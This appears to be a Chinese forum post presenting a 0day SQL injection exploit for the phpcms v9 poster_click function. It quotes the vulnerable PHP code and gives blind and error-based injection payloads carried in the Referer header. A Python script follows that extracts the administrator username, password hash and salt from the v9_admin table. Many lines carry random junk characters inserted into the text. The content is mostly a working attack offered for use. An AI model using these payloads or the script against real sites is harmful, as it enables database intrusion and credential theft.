phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

, f* t0 }; g4 H4 F' e: \问题函数\phpcms\modules\poster\index.php

( C$ Z4 D3 C  j' Gpublic function poster_click() {
2 m0 b& S, W# K  ?! \0 R. p$ `+ x$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
5 u% L- p/ R( }! S9 N; N3 Zif (!is_array($r) && empty($r)) return false;
) t/ i- r- u2 `+ c7 x6 _4 w" ^' f$ip_area = pc_base::load_sys_class('ip_area');
+ ^- }) \8 ^/ ], Y: z: f$ip = ip();
$area = $ip_area->get($ip);
+ I  D+ M+ @! Q) @$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
3 f* A4 }$ i! E7 ?+ \0 Q$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
" B# ]& H: h) t- N6 O% R$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
1 [6 R9 D. i- Q# B! T}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
+ ]! Q4 r' m0 i1 W2 r$setting = string2array($r['setting']);
if (count($setting)==1) {
' ^7 ~" U+ K% |( ~2 ?$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
}

/ c1 V8 ^( o/ A1 W
% L9 E1 B' Z0 a: Q
利用方式：
+ E2 g2 X7 P$ u- L: l( }9 u
6 Y, O" u4 W! p% {( ^1、可以采用盲注入的手法：
& |& k: g- ^, p* _( P" N/ u( G
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

9 R$ P& S3 Z! f/ M通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：
7 k/ [' f: H- k9 H& g9 |
8 L" q. P+ S; A( C( y7 h( i7 H1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

3 \  b" A* H0 d9 V2 ^: F( |此方法是爆错注入手法，原理自查。



& M- }( j  I6 [7 y$ {: z' R利用程序:

) ~" q1 }% p. u. |, H0 r#!/usr/bin/env python
import httplib,sys,re

8 l0 d% M9 M2 S0 q* ]! Rdef attack():
print “Code by Pax.Mac Team conqu3r!”
' c  w' [0 Z0 p& p3 {: Oprint “Welcome to our zone!!!”
1 N) O# [& g3 f) \8 [8 surl=sys.argv[1]
5 q8 E) S# Z4 l5 R! r( N9 `paths=sys.argv[2]
/ G3 [; q' a7 d* W6 U& wconn = httplib.HTTPConnection(url)
7 M* W, b# R" p/ ^( \i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
. V. Z4 \% _8 |1 Q' ^“Accept”: “text/plain”,
' s( M" s& f) F6 P" @3 k, c' e“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
  K$ M: b' m# l; {conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
0 z( K8 {# `* V8 L7 f- V; jr1 = conn.getresponse()
datas=r1.read()
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
print datas[0]
conn.close()
6 b' L3 m  n8 J0 L7 X: aif __name__==”__main__”:
; ?3 E: W% G  P  ^( o9 Oif len(sys.argv)<3:
print “Code by Pax.Mac Team conqu3r”
print “Usgae:”
print “    phpcmsattack.py   www.paxmac.org /”
6 l, e/ U! D  L( X4 nprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
sys.exit(1)
attack()